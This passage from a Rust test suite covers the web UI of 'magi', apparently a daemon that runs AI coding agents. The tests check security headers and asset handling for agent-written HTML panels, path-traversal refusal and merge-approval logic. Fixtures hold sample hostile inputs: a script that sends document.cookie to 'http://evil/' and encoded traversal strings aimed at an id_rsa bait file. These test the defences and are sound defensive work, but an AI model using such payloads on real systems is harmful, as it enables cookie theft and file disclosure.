12707        let body = serde_json::json!({
12708            "schema": 1,
12709            "pid": 4242,
12710            "started_at": Timestamp::now().to_string(),
12711            "updated_at": updated_at.to_string(),
12712            "idle": false,
12713            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12714            "completed": 7,
12715            "polls": 143,
12716        });
12717        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12718    }
12719
12720    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12721    ///
12722    /// No test in this file may start the real loop - see [`Ui::launch`] for
12723    /// why - so this stands in for the only thing the routes need a loop to
12724    /// do: keep running until `Stop` is set, then return. A real
12725    /// `serve_until` here would resolve its queue and its status file through
12726    /// the process-global magi home, claim whatever it found in the
12727    /// operator's live backlog, overwrite the status file of the `magi serve`
12728    /// that owns it, and spend real agent quota on a real competition.
12729    fn launch_idle(
12730        _opts: daemon::Opts,
12731        stop: daemon::Stop,
12732    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12733        Box::pin(async move {
12734            while !stop.stopped() {
12735                tokio::time::sleep(Duration::from_millis(2)).await;
12736            }
12737            Ok(())
12738        })
12739    }
12740
12741    /// A loop that fails on the way up, the way one whose home has gone
12742    /// read-only does.
12743    fn launch_broken(
12744        _opts: daemon::Opts,
12745        _stop: daemon::Stop,
12746    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12747        // The stand-in dies instantly, so a restarted one can record its own
12748        // failure before the start's response is read. The second attempt
12749        // therefore fails with a different message, to tell a stale error
12750        // from a fresh one.
12751        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12752        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12753        Box::pin(async move {
12754            Err(anyhow::anyhow!(if first {
12755                "publish the daemon status file: read-only file system"
12756            } else {
12757                "the restarted stand-in failed as well"
12758            }))
12759        })
12760    }
12761
12762    /// The loop view once `want` accepts it.
12763    ///
12764    /// Polled rather than asserted straight after the POST because stopping
12765    /// is deliberately not instant - that is the contract - and rather than
12766    /// slept through because a fixed wait is either flaky or slow.
12767    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12768    /// finite, so a genuine hang fails the test instead of hanging the
12769    /// suite.
12770    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12771        for _ in 0..SETTLE_STEPS {
12772            let view = fx.get("/api/loop").await.json();
12773            if want(&view) {
12774                return view;
12775            }
12776            tokio::time::sleep(Duration::from_millis(10)).await;
12777        }
12778        panic!(
12779            "the loop never settled: {}",
12780            fx.get("/api/loop").await.json()
12781        );
12782    }
12783
12784    /// File an open question directly in the store the server reads.
12785    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12786        let store = fx.questions();
12787        let mut q = Question::new(
12788            "20260902-000000-beef".to_owned(),
12789            "implement".to_owned(),
12790            "impl-A".to_owned(),
12791            summary.to_owned(),
12792            "because it matters".to_owned(),
12793            choices.iter().map(|c| (*c).to_owned()).collect(),
12794        );
12795        store.put(&mut q).expect("put question");
12796        q.id
12797    }
12798
12799    /// A question with a panel the server can serve, plus the named assets.
12800    ///
12801    /// Written through `Questions::put_panel` rather than by laying out the
12802    /// directory here, so these tests exercise the same on-disk shape the
12803    /// agents produce and cannot pass against a layout only the tests know.
12804    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12805        let store = fx.questions();
12806        let mut q = Question::new(
12807            "20260902-000000-beef".to_owned(),
12808            "land".to_owned(),
12809            "fix".to_owned(),
12810            "Merge this?".to_owned(),
12811            "the diff is in the panel".to_owned(),
12812            vec!["merge".to_owned(), "hold".to_owned()],
12813        );
12814        // Staged outside the questions root, because `put_panel` copies from
12815        // wherever the agent left its files.
12816        let staging = fx.home.path().join("staging");
12817        std::fs::create_dir_all(&staging).expect("staging dir");
12818        let sources: Vec<PathBuf> = assets
12819            .iter()
12820            .map(|(name, bytes)| {
12821                let path = staging.join(name);
12822                std::fs::write(&path, bytes).expect("write staged asset");
12823                path
12824            })
12825            .collect();
12826        store
12827            .put_panel(&mut q, html, &sources)
12828            .expect("write the panel");
12829        store.put(&mut q).expect("put question");
12830        q.id
12831    }
12832
12833    /// A talk on disk, without talking to a model.
12834    ///
12835    /// Written as JSON straight into the store the server reads, because the
12836    /// only constructor `talk::begin` offers takes no turn but still requires
12837    /// a real caller-visible flow. The one thing this cannot make up is the
12838    /// seat, so it is built with the real `SeatState::new` and serialized -
12839    /// the alternative, hand-writing that object, would make these tests fail
12840    /// the day the seat gains a field.
12841    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12842        seed_talk_at(&fx.talks(), id, status)
12843    }
12844
12845    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12846        std::fs::create_dir_all(store.root()).expect("talks dir");
12847        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12848            .expect("serialize a seat");
12849        let body = serde_json::json!({
12850            "schema": 1,
12851            "id": id,
12852            "repo": "/repo/magi",
12853            "agent": "mock",
12854            "status": status,
12855            "turns": [],
12856            "created_at": Timestamp::now().to_string(),
12857            "updated_at": Timestamp::now().to_string(),
12858            "seat": seat,
12859        });
12860        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12861        store.get(id).expect("the seeded talk has to be readable");
12862        id.to_owned()
12863    }
12864
12865    #[tokio::test]
12866    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12867        let fx = Fixture::start().await;
12868        let id = panel(
12869            &fx,
12870            "<h1>Merge?</h1><img src=\"diff.svg\">",
12871            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12872        );
12873
12874        for path in [
12875            format!("/api/questions/{id}/panel"),
12876            format!("/api/questions/{id}/asset/diff.svg"),
12877        ] {
12878            let res = fx.get(&path).await;
12879            assert_eq!(res.status, 200, "{path}: {}", res.body);
12880            // The whole string, not a substring. A weakened directive - an
12881            // `img-src *` that lets a panel beacon out to a remote host, a
12882            // `script-src` anything, a missing `form-action` that lets it post
12883            // the owner's decision to a third party - has to fail here, and a
12884            // `contains` assertion would let every one of those through.
12885            assert_eq!(
12886                res.header("content-security-policy"),
12887                Some(
12888                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12889                     font-src data:; base-uri 'none'; form-action 'none'; \
12890                     frame-ancestors 'self'"
12891                ),
12892                "{path} is the only thing between a hostile panel and the tailnet"
12893            );
12894            assert_eq!(
12895                res.header("x-content-type-options"),
12896                Some("nosniff"),
12897                "{path}: a browser must not re-decide the type we sent"
12898            );
12899            assert_eq!(
12900                res.header("referrer-policy"),
12901                Some("no-referrer"),
12902                "{path}: a panel must not leak the question id off the machine"
12903            );
12904
12905            // The front end mounts the frame only after a `HEAD` says the
12906            // panel is there, so `HEAD` has to answer with the same status and
12907            // the same policy as `GET` - a preflight that came back without
12908            // the CSP would mean a frame mounted on an unverified promise.
12909            let pre = fx.head(&path).await;
12910            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12911            assert_eq!(
12912                pre.header("content-security-policy"),
12913                res.header("content-security-policy"),
12914                "{path}: the preflight carries the same policy"
12915            );
12916            assert_eq!(
12917                pre.header("content-type"),
12918                res.header("content-type"),
12919                "{path}: the preflight carries the same type"
12920            );
12921        }
12922    }
12923
12924    #[tokio::test]
12925    async fn a_panel_reaches_the_browser_byte_for_byte() {
12926        let fx = Fixture::start().await;
12927        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12928        // tag, an entity, and a multi-byte character. The sandbox is what makes
12929        // this safe, so nothing here may be rewritten on the way out - a
12930        // rewritten diff is a diff the owner cannot trust.
12931        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12932        let id = panel(&fx, html, &[]);
12933
12934        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12935
12936        assert_eq!(res.status, 200);
12937        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12938        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12939        assert_eq!(
12940            res.header("content-disposition"),
12941            None,
12942            "the panel itself is rendered in the frame, not downloaded"
12943        );
12944    }
12945
12946    #[tokio::test]
12947    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12948        let fx = Fixture::start().await;
12949        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12950        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12951        let id = panel(
12952            &fx,
12953            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12954            &[("diff.svg", svg), ("shot.png", png)],
12955        );
12956
12957        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12958        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12959
12960        assert_eq!(as_svg.status, 200);
12961        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12962        // An SVG is XML that may carry script. Inside the panel it is an
12963        // `<img src>` and the script cannot run; opened at the top level it
12964        // would be a document on magi's own origin, so the browser is told to
12965        // download it instead of rendering it.
12966        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12967
12968        assert_eq!(as_png.status, 200);
12969        assert_eq!(as_png.header("content-type"), Some("image/png"));
12970        assert_eq!(
12971            as_png.header("content-disposition"),
12972            None,
12973            "a raster image has no execution surface, so tapping it still shows it"
12974        );
12975        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12976    }
12977
12978    #[tokio::test]
12979    async fn an_html_asset_is_never_served_as_html() {
12980        let fx = Fixture::start().await;
12981        let id = panel(
12982            &fx,
12983            "<p>see the notes</p>",
12984            &[
12985                (
12986                    "notes.html",
12987                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12988                ),
12989                ("hook.js", b"fetch('http://evil/')"),
12990                ("data.json", b"{}"),
12991                ("HEADLINE.TXT", b"plain"),
12992            ],
12993        );
12994
12995        for name in ["notes.html", "hook.js", "data.json"] {
12996            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12997            assert_eq!(res.status, 200, "{name}: {}", res.body);
12998            // Serving this as text/html would be a way to reach agent markup
12999            // at the top level of the operator's browser, outside the frame's
13000            // sandbox and outside its CSP - which is the whole thing the panel
13001            // design exists to prevent. Unlisted types are downloads.
13002            assert_eq!(
13003                res.header("content-type"),
13004                Some("application/octet-stream"),
13005                "{name} must not be a type the browser will execute or render"
13006            );
13007        }
13008        // The whitelist is matched case-insensitively, so an agent shouting the
13009        // extension still gets a readable file rather than a download.
13010        let txt = fx
13011            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
13012            .await;
13013        assert_eq!(
13014            txt.header("content-type"),
13015            Some("text/plain; charset=utf-8")
13016        );
13017    }
13018
13019    #[tokio::test]
13020    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
13021        let fx = Fixture::start().await;
13022        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
13023        // Something outside the panel directory that a traversal would reach if
13024        // one got through, so a passing test is not merely "the file was
13025        // missing anyway".
13026        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
13027
13028        // Decoded before this server's handler sees them: axum percent-decodes
13029        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
13030        // string with a NUL in it. All three look like ordinary single-segment
13031        // filenames to the router, so the router passes them through and
13032        // `valid_asset_name` is what refuses them - for the literal `..`, and
13033        // for `/`, `\` and NUL not being in the permitted character set.
13034        for encoded in [
13035            "%2e%2e%2fid_rsa",
13036            "..%2fid_rsa",
13037            "..%5cid_rsa",
13038            "%2e%2e%5cid_rsa",
13039            "diff%00.svg",
13040            "..",
13041            ".hidden",
13042            "%2e%2e%2f%2e%2e%2fid_rsa",
13043        ] {
13044            let res = fx
13045                .get(&format!("/api/questions/{id}/asset/{encoded}"))
13046                .await;
13047            assert_eq!(
13048                res.status, 400,
13049                "`{encoded}` has to be refused by name, not looked up: {}",
13050                res.body
13051            );
13052            assert!(res.json()["error"].is_string(), "{}", res.body);
13053        }
13054
13055        // Not decoded, and never this handler's problem: a real slash makes the
13056        // request one segment too long for `/api/questions/{id}/asset/{name}`,
13057        // so axum's router has no route to match and answers before any code
13058        // here runs. Asserted so that a future route with a wildcard segment
13059        // cannot quietly open this door.
13060        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
13061            let res = fx
13062                .get(&format!("/api/questions/{id}/asset/{literal}"))
13063                .await;
13064            assert_eq!(
13065                res.status, 404,
13066                "`{literal}` must not match the asset route at all: {}",
13067                res.body
13068            );
13069        }
13070    }
13071
13072    #[tokio::test]
13073    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
13074        let fx = Fixture::start().await;
13075        let plain = ask(&fx, "Which backend?", &["SQLite"]);
13076        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
13077
13078        // A question nobody wrote a panel for. The client preflights with HEAD
13079        // and cannot see inside a sandboxed frame, so this must be a status and
13080        // not an empty page.
13081        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
13082        assert_eq!(none.status, 404, "{}", none.body);
13083        assert!(none.json()["error"].is_string(), "{}", none.body);
13084        assert_eq!(
13085            fx.head(&format!("/api/questions/{plain}/panel"))
13086                .await
13087                .status,
13088            404,
13089            "the preflight is the only way the client can learn this"
13090        );
13091
13092        // A name that is perfectly legal and simply is not there.
13093        let missing = fx
13094            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
13095            .await;
13096        assert_eq!(missing.status, 404, "{}", missing.body);
13097        assert!(missing.json()["error"].is_string(), "{}", missing.body);
13098
13099        // A question that does not exist at all, on both routes.
13100        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
13101        assert_eq!(
13102            fx.get("/api/questions/nope/asset/diff.svg").await.status,
13103            404
13104        );
13105    }
13106
13107    #[tokio::test]
13108    async fn a_run_with_an_open_question_reads_as_waiting() {
13109        let fx = Fixture::start().await;
13110        let run = "20260902-000000-beef".to_owned();
13111        write_run(&fx.runs(), &run, RunStatus::Implementing);
13112
13113        let before = fx.get("/api/runs").await.json();
13114        assert_eq!(before[0]["waiting"], false, "{before}");
13115
13116        let store = fx.questions();
13117        let mut q = Question::new(
13118            run.clone(),
13119            "implement".to_owned(),
13120            "impl-A".to_owned(),
13121            "Which backend?".to_owned(),
13122            String::new(),
13123            vec!["SQLite".to_owned()],
13124        );
13125        store.put(&mut q).expect("put");
13126
13127        let during = fx.get("/api/runs").await.json();
13128        assert_eq!(during[0]["waiting"], true, "{during}");
13129
13130        // Answered: the run is moving again, and the flag has to follow without
13131        // anything having rewritten run.json.
13132        q.answer(Answer::Choice("SQLite".to_owned()))
13133            .expect("answer");
13134        store.put(&mut q).expect("put");
13135        let after = fx.get("/api/runs").await.json();
13136        assert_eq!(after[0]["waiting"], false, "{after}");
13137    }
13138
13139    #[tokio::test]
13140    async fn an_open_question_is_listed_and_counted_by_health() {
13141        let fx = Fixture::start().await;
13142        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13143
13144        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13145        let listed = fx.get("/api/questions").await.json();
13146        assert_eq!(listed.as_array().expect("array").len(), 1);
13147        assert_eq!(listed[0]["id"], id);
13148        assert_eq!(listed[0]["status"], "open");
13149        assert_eq!(listed[0]["choices"][1], "Redis");
13150        // The count is what makes the phone's indicator honest: it is the one
13151        // number meaning nothing will move until a human acts.
13152        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13153    }
13154
13155    fn obsolete_approval_state() -> RunState {
13156        let mut state = crate::land::tests::repair_state(true, true);
13157        state.pr = Some(crate::run::PrRecord {
13158            url: "https://github.com/example/repo/pull/42".into(),
13159            number: 42,
13160            state: "open".into(),
13161            checks: "green".into(),
13162            round: 1,
13163            rounds: 4,
13164            red_at_merge: Vec::new(),
13165        });
13166        state
13167    }
13168
13169    #[tokio::test]
13170    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
13171        for owner in ["missing", "current", "completed", "later"] {
13172            let fx = Fixture {
13173                home: TempDir::new().unwrap(),
13174                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13175            };
13176            let mut state = obsolete_approval_state();
13177            state.status = RunStatus::Landing;
13178            state.parked = true;
13179            state.driver_exited = true;
13180            let mut q = Question::new(
13181                state.id.clone(),
13182                crate::land::APPROVAL_NODE.into(),
13183                "land".into(),
13184                "Old approval".into(),
13185                "Original evidence".into(),
13186                vec!["merge".into(), "hold".into()],
13187            );
13188            state.land_approval = Some(crate::run::LandApproval {
13189                question: q.id.clone(),
13190                head: "head".into(),
13191            });
13192            state.save_under(fx.home.path()).unwrap();
13193            let stale = state.clone();
13194            fx.questions().put(&mut q).unwrap();
13195            let mut task = Task::new(
13196                "Owner".into(),
13197                "Original instruction".into(),
13198                state.repo.clone(),
13199                Source::Human,
13200            );
13201            task.runs.push(state.id.clone());
13202            task.status = if owner == "completed" {
13203                TaskStatus::Done
13204            } else {
13205                TaskStatus::Parked
13206            };
13207            if owner == "later" {
13208                task.runs.push("later-run".into());
13209            }
13210            if owner != "missing" {
13211                fx.queue().put(&mut task).unwrap();
13212            }
13213            let ui = Arc::new(Ui::new(
13214                fx.queue(),
13215                fx.questions(),
13216                fx.talks(),
13217                fx.runs(),
13218                fx.home.path().into(),
13219                state.repo.clone(),
13220            ));
13221            let response = question_answer(
13222                State(ui),
13223                Path(q.id.clone()),
13224                Ok(Json(NewAnswer {
13225                    choice: Some(crate::merge_decision::DISMISS.into()),
13226                    text: None,
13227                    ..Default::default()
13228                })),
13229            )
13230            .await
13231            .unwrap();
13232            assert_eq!(
13233                response.0.question.resolution().as_deref(),
13234                Some(crate::merge_decision::DISMISS)
13235            );
13236            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13237            assert_eq!(disk.status, RunStatus::Superseded);
13238            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
13239            assert!(!crate::merge_decision::resumable_hold(&disk));
13240            assert_eq!(
13241                serde_json::to_value(&disk.pr).unwrap(),
13242                serde_json::to_value(&stale.pr).unwrap()
13243            );
13244            assert_eq!(fx.questions().count_open(), 0);
13245            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
13246            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13247            if owner == "missing" {
13248                assert!(fx.queue().list().is_empty());
13249            } else {
13250                let after = fx.queue().get(&task.id).unwrap();
13251                assert_eq!(
13252                    after.status,
13253                    if owner == "current" {
13254                        TaskStatus::Done
13255                    } else {
13256                        task.status
13257                    }
13258                );
13259                assert_eq!(after.runs, task.runs);
13260                assert_eq!(after.instruction, task.instruction);
13261                assert_eq!(after.action_applied(&q.id), owner == "current");
13262            }
13263        }
13264    }
13265
13266    #[tokio::test]
13267    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
13268        let fx = Fixture::start().await;
13269        let mut state = obsolete_approval_state();
13270        state.status = RunStatus::Landing;
13271        state.parked = true;
13272        state.driver_exited = true;
13273        let mut q = Question::new(
13274            state.id.clone(),
13275            crate::land::APPROVAL_NODE.into(),
13276            "land".into(),
13277            "Superseded PR approval".into(),
13278            "Original review evidence".into(),
13279            vec!["merge".into(), "hold".into()],
13280        );
13281        state.land_approval = Some(crate::run::LandApproval {
13282            question: q.id.clone(),
13283            head: "old-reviewed-head".into(),
13284        });
13285        // The old persisted PR may still say open even when a separate change
13286        // already landed. Dismissal must not use that snapshot to close it.
13287        state.save_under(fx.home.path()).unwrap();
13288        let stale_driver = state.clone();
13289        fx.questions().put(&mut q).unwrap();
13290        let path = fx
13291            .home
13292            .path()
13293            .join("questions")
13294            .join(format!("{}.json", q.id));
13295        let mut legacy = serde_json::to_value(&q).unwrap();
13296        legacy["schema"] = 9.into();
13297        legacy.as_object_mut().unwrap().remove("merge_target");
13298        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
13299
13300        // POST without GET tests legacy upgrade and validation at the actual
13301        // entry point, rather than constructing a modern card in the test.
13302        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13303        let answer_path = format!("/api/questions/{}/answer", q.id);
13304        let res = fx.post(&answer_path, Some(&body)).await;
13305        assert_eq!(res.status, 200, "{}", res.body);
13306        let disk = fx.questions().get(&q.id).unwrap();
13307        assert_eq!(
13308            disk.resolution().as_deref(),
13309            Some(crate::merge_decision::DISMISS)
13310        );
13311        assert!(disk.detail.starts_with("Original review evidence"));
13312        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
13313        assert_eq!(retired.status, RunStatus::Superseded);
13314        assert_eq!(
13315            serde_json::to_value(&retired.pr).unwrap(),
13316            serde_json::to_value(&state.pr).unwrap()
13317        );
13318        assert!(!retired.merge_decision.as_ref().unwrap().closed);
13319        assert!(!crate::merge_decision::resumable_hold(&retired));
13320        assert!(fx.queue().list().is_empty());
13321        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13322        // A restarted server re-reads the persisted pending list.
13323        let addr = Fixture::serve(
13324            fx.home.path(),
13325            PathBuf::from("/repo/magi"),
13326            launch_idle,
13327            None,
13328        )
13329        .await;
13330        let reconnected = Fixture {
13331            home: fx.home,
13332            addr,
13333        };
13334        let listed = reconnected.get("/api/questions").await.json();
13335        assert!(
13336            listed
13337                .as_array()
13338                .unwrap()
13339                .iter()
13340                .all(|q| q["status"] != "open")
13341        );
13342        assert_eq!(listed[0]["id"], q.id, "history remains available");
13343        assert_eq!(
13344            reconnected.get("/api/health").await.json()["questions_open"],
13345            0
13346        );
13347        assert_eq!(
13348            reconnected
13349                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
13350                .await
13351                .status,
13352            409
13353        );
13354        // A late waiter cannot turn the old answer into a new decision.
13355        assert!(
13356            reconnected
13357                .questions()
13358                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
13359                .is_err()
13360        );
13361        // The same guard used by claims, repair and publication rejects a
13362        // saved in-memory driver as well as the persisted terminal record.
13363        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
13364    }
13365
13366    #[tokio::test]
13367    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
13368        let fx = Fixture::start().await;
13369        let mut state = obsolete_approval_state();
13370        state.status = RunStatus::Landing;
13371        state.driver_exited = true;
13372        let mut q = Question::new(
13373            state.id.clone(),
13374            crate::land::APPROVAL_NODE.into(),
13375            "land".into(),
13376            "Obsolete approval".into(),
13377            String::new(),
13378            vec!["merge".into(), "hold".into()],
13379        );
13380        state.land_approval = Some(crate::run::LandApproval {
13381            question: q.id.clone(),
13382            head: "head".into(),
13383        });
13384        state.save_under(fx.home.path()).unwrap();
13385        fx.questions().put(&mut q).unwrap();
13386        let mut task = Task::new(
13387            "Owner".into(),
13388            "Original instruction".into(),
13389            state.repo.clone(),
13390            Source::Human,
13391        );
13392        task.runs = vec![state.id.clone(), "later-run".into()];
13393        fx.queue().put(&mut task).unwrap();
13394        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
13395        let claim = fx.queue().claim(&task.id).unwrap();
13396        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13397        let path = format!("/api/questions/{}/answer", q.id);
13398        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13399        assert!(fx.questions().get(&q.id).unwrap().status.open());
13400        drop(claim);
13401        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
13402        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13403        assert!(fx.questions().get(&q.id).unwrap().status.open());
13404        drop(publication);
13405        // Unknown liveness and armed auto-merge both fail without settling.
13406        state.driver_exited = false;
13407        state.driver_pid = None;
13408        state.driver_claimed = None; // No durable proof of an unstarted execution.
13409        state.save_under(fx.home.path()).unwrap();
13410        assert_eq!(
13411            state.liveness_under(fx.home.path(), false),
13412            crate::run::Liveness::Unknown
13413        );
13414
13415        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13416        state.driver_exited = true;
13417        state.land_armed_head = Some("head".into());
13418        state.save_under(fx.home.path()).unwrap();
13419        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13420        state.land_armed_head = None;
13421        state.save_under(fx.home.path()).unwrap();
13422        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13423        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13424        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
13425    }
13426
13427    #[tokio::test]
13428    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
13429        let fx = Fixture::start().await;
13430        let mut state = obsolete_approval_state();
13431        state.status = RunStatus::Landing;
13432        state.driver_exited = true;
13433        let mut q = Question::new(
13434            state.id.clone(),
13435            crate::land::APPROVAL_NODE.into(),
13436            "land".into(),
13437            "Obsolete approval".into(),
13438            String::new(),
13439            vec!["merge".into(), "hold".into()],
13440        );
13441        state.land_approval = Some(crate::run::LandApproval {
13442            question: q.id.clone(),
13443            head: "head".into(),
13444        });
13445        state.save_under(fx.home.path()).unwrap();
13446        fx.questions().put(&mut q).unwrap();
13447        let mut task = Task::new(
13448            "Owner".into(),
13449            "Original instruction".into(),
13450            state.repo.clone(),
13451            Source::Human,
13452        );
13453        task.runs.push(state.id.clone());
13454        task.status = TaskStatus::Parked;
13455        fx.queue().put(&mut task).unwrap();
13456        // Model a crash after the run stop was persisted but before the queue
13457        // and answered question were flushed. Retrying must finish, not resume.
13458        state.merge_decision = Some(crate::merge_decision::Decision {
13459            question: q.id.clone(),
13460            target: crate::merge_decision::Target {
13461                pr: state.pr.as_ref().unwrap().url.clone(),
13462                head: "head".into(),
13463                language: "ja".into(),
13464            },
13465            choice: crate::merge_decision::DISMISS.into(),
13466            closed: false,
13467            replacement_run: None,
13468            replacement_pr: None,
13469        });
13470        state.status = RunStatus::Superseded;
13471        state.save_under(fx.home.path()).unwrap();
13472        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13473        let path = format!("/api/questions/{}/answer", q.id);
13474        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13475        let done = fx.queue().get(&task.id).unwrap();
13476        assert_eq!(done.status, TaskStatus::Done);
13477        assert_eq!(done.runs, task.runs);
13478        assert_eq!(done.instruction, task.instruction);
13479        assert!(done.action_applied(&q.id));
13480        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13481        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
13482        assert!(!fx.questions().get(&q.id).unwrap().status.open());
13483    }
13484
13485    #[tokio::test]
13486    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
13487        let home = TempDir::new().unwrap();
13488        let ui = Arc::new(Ui::new(
13489            Queue::at(home.path().join("queue")),
13490            Questions::at(home.path().join("questions")),
13491            Talks::at(home.path().join("talks")),
13492            home.path().join("runs"),
13493            home.path().to_owned(),
13494            home.path().to_owned(),
13495        ));
13496        let talks = &ui.talks;
13497        let chat =
13498            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
13499        let mut q = Question::new(
13500            "run".into(),
13501            crate::land::APPROVAL_NODE.into(),
13502            "land".into(),
13503            "Merge?".into(),
13504            String::new(),
13505            vec!["merge".into(), "hold".into()],
13506        );
13507        q.routed_task = Some("task".into());
13508        q.routed_chat = Some(chat.id.clone());
13509        q.merge_target = Some(crate::merge_decision::Target {
13510            pr: "https://example.test/pull/1".into(),
13511            head: "head-a".into(),
13512            language: "en".into(),
13513        });
13514        ui.questions.put(&mut q).unwrap();
13515        let send = |body| {
13516            question_answer(
13517                State(ui.clone()),
13518                Path(q.id.clone()),
13519                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
13520            )
13521        };
13522        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
13523        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
13524        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
13525        assert!(send(wrong_chat).await.is_err());
13526        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
13527        assert!(send(stale).await.is_err());
13528        assert!(ui.questions.get(&q.id).unwrap().status.open());
13529        assert!(send(button.clone()).await.is_ok());
13530        assert_eq!(
13531            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13532            Some("merge")
13533        );
13534        assert!(send(button).await.is_err());
13535    }
13536
13537    #[tokio::test]
13538    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
13539        let home = TempDir::new().unwrap();
13540        let ui = Arc::new(Ui::new(
13541            Queue::at(home.path().join("queue")),
13542            Questions::at(home.path().join("questions")),
13543            Talks::at(home.path().join("talks")),
13544            home.path().join("runs"),
13545            home.path().to_owned(),
13546            home.path().to_owned(),
13547        ));
13548        for choice in [crate::land::APPROVE, crate::land::HOLD] {
13549            let mut q = Question::new(
13550                "run".into(),
13551                crate::land::APPROVAL_NODE.into(),
13552                "land".into(),
13553                "Merge?".into(),
13554                String::new(),
13555                vec!["merge".into(), choice.into()],
13556            );
13557            q.routed_task = Some("task".into());
13558            q.merge_target = Some(crate::merge_decision::Target {
13559                pr: "https://example.test/pull/1".into(),
13560                head: "head-a".into(),
13561                language: "en".into(),
13562            });
13563            ui.questions.put(&mut q).unwrap();
13564            let answer = |c: &str| {
13565                question_answer(
13566                    State(ui.clone()),
13567                    Path(q.id.clone()),
